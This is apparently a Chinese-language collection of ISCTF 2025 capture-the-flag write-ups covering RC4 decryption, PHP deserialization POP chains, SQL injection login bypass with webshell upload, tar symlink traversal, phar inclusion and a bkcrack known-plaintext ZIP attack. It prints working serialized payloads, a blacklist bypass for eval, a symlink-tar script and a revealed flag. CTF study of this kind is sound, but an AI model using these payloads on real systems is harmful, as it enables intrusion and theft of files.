小蓝鲨的RC4系统 Writeup
题目给了一份 RC4 实现的 task.py,末尾写着 #ISCTF2025 和一段十六进制密文。
脚本特点
• KSA/PRGA 都是标准 RC4,但密钥先做了 sha256(key)。
• crypt 直接异或,可用于加密也可用于解密。
解密步骤
1. 读取密文:ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f26676388
0b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d
2. 密钥取注释里的 ISCTF2025,按脚本逻辑先 sha256。
3. 用同一个 StreamCipher 对密文字节流调用 crypt 即可得到明文。
ezpop 题解(PHP 反序列化 POP)
题目概览
• 入口:unserialize($_POST[‘ISCTF’]);,无其它逻辑,源码直接展示。
• 目标:读 /flag 文件。类与触发点
• begin
◦ __construct($a) 把 $a 存到 $var1。
◦ __destruct() 输出 $this->var1;若为对象会触发其 __toString()。
◦ __toString() 调用 $this->var2()。
• starlord、anna:可用于别的链,这里无需使用。
• eenndd::__get():eval($this->command),但会用正则黑名单拦截包含 flag|
system|…|空格。
• flaag::__invoke():md5(md5($this->var11)) == 666 时返回 $this->var10-
>hey。
利用链设计
1. 外层 begin 析构时输出 $var1 → 触发内层 begin::__toString。
2. 内层 begin::__toString 调用 $var2() → 即 flaag::__invoke。
3. flaag::__invoke 校验双重 md5;213 满足 md5(md5(213)) 以 666 开头。
4. flaag 返回 $var10->hey,访问不存在属性 hey 触发 eenndd::__get。
5. eenndd::__get 执行 eval($command),可执行任意 PHP 代码。
关键绕过
• 黑名单包含 flag 与空格,使用字符串拼接:’/f’.’lag’,无空格、无连续 flag。
• 代码示例:echo(file_get_contents(‘/f’.’lag’));
序列化结构
• 最终对象:begin(var1 = begin(var1=NULL,
var2=flaag(var10=eenndd(command=payload), var11=”213″)), var2=NULL)
• Payload(POST 参数 ISCTF):
O:5:"begin":2:{s:4:"var1";O:5:"begin":2:{s:4:"var1";N;s:4:"var2";O:5:"flaag":2:
{s:5:"var10";O:6:"eenndd":1:{s:7:"command";s:36:"echo(file_get_contents('/
f'.'lag'));";}s:5:"var11";s:3:"213";}}s:4:"var2";N;}
flag到底在哪 (web/flag到底在哪.md)
flag到底在哪
dirsearch扫描扫出来路径 /admin/login.php
进去admin登录
考虑password使用万能密码
password=1’ OR ‘1’=’1&username=admin
进去直接上传一句话木马就可以
访问webshell/XXX.php
Post传入hack=system(“env”);
flag我借走了 (web/flag我借走了.md)
漏洞:后端自动解压 tar 未过滤成员路径,可通过软链接越权读取 /flag。
复现:制作含软链接的 tar(文件名 flag 指向 /flag),上传后访问 /download/flag 即可得
到 flag。制作脚本:
import tarfile
with tarfile.open("symlink.tar", "w") as t:
info = tarfile.TarInfo("flag")
info.type = tarfile.SYMTYPE
info.linkname = "/flag"
t.addfile(info)
来签个到吧 (web/来签个到吧/来签个到吧.md)
审计附件,发现首页处显然存在反序列化漏洞:
$ss = substr($s, strlen(“blueshark:”));
$o = @unserialize($ss); // ← 这里存在漏洞
然后注意到引用require_once “./classes.php”,故可以通过该类来构造攻击代码。
在classes.php中很显然能看到明显问题:ShitMountant类在__destruct()时会调用fetch()
方法,会使用file_get_contents($this->url)读取URL内容。那么我们可以构造伪协议来读
取本地文件。据此,可以构造序列化字符串:
<?php
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";
}
class ShitMountant {
public $url;
public $logger;
public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}}
// 创建恶意对象
$obj = new ShitMountant("file:///flag");
$payload = serialize($obj);
echo "blueshark:" . $payload;
?>
include_upload
考虑phar的文件包含,先生成一个可用的phar:(php语法)
接着对其进行gzip压缩,获得图片马,注意文件名需要包含 .phar,其他怎么搞都可以
比如以 12.phar.png 为文件名,上传后包含:
include.php?file=12.phar.png,即可得到flag
小蓝鲨的千层FLAG (杂项/小蓝鲨的千层FLAG.md)
我把这一层层嵌套的 zip 都翻了个遍,并把解压过程做成了自动化脚本,压缩层都是
WinZip 的 AES 加密包,下一层的密码写在 zip 的注释里;这条“密码链”一直有效,直到
flagggg3.zip
破解 flagggg3.zip,解出内层 flagggg1.zip 并获取 flag。
环境与工具
Windows(PowerShell)
bkcrack 1.8.1(win64)
Python 3 + python-docx(仅用于生成文档)
思路
ZipCrypto 可用已知明文攻击:若已知至少 12 字节明文(其中 8 字节连续),可恢复内
部密钥并解密同密码的其他条目。
压缩包注释暗示要知道里面内容,猜测内层文件名为 flagggg1.zip,用它作已知明文。
步骤
准备已知明文:内容为 flagggg1.zip,写入 known_plain.bin。
已知明文攻击:bkcrack.exe -C flagggg3.zip -c flagggg2.zip -p known_plain.bin -o 30
(偏移 30)。
获取内部密钥:ae0c4b27 66c21cba b9a7958f。
解密目标条目:bkcrack.exe -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba
b9a7958f -d flagggg2_decrypted.zip。
解压解密结果得到 flagggg1.zip,继续解压得到 flagggg.txt。
关键命令
‘flagggg1.zip’ | Set-Content -Encoding ascii known_plain.bin
bkcrack.exe -C flagggg3.zip -c flagggg2.zip -p known_plain.bin -o 30
bkcrack.exe -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d
flagggg2_decrypted.zip
tar -xf flagggg2_decrypted.zip
tar -xf flagggg1.zip
结果
flagggg.txt 内容:ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}。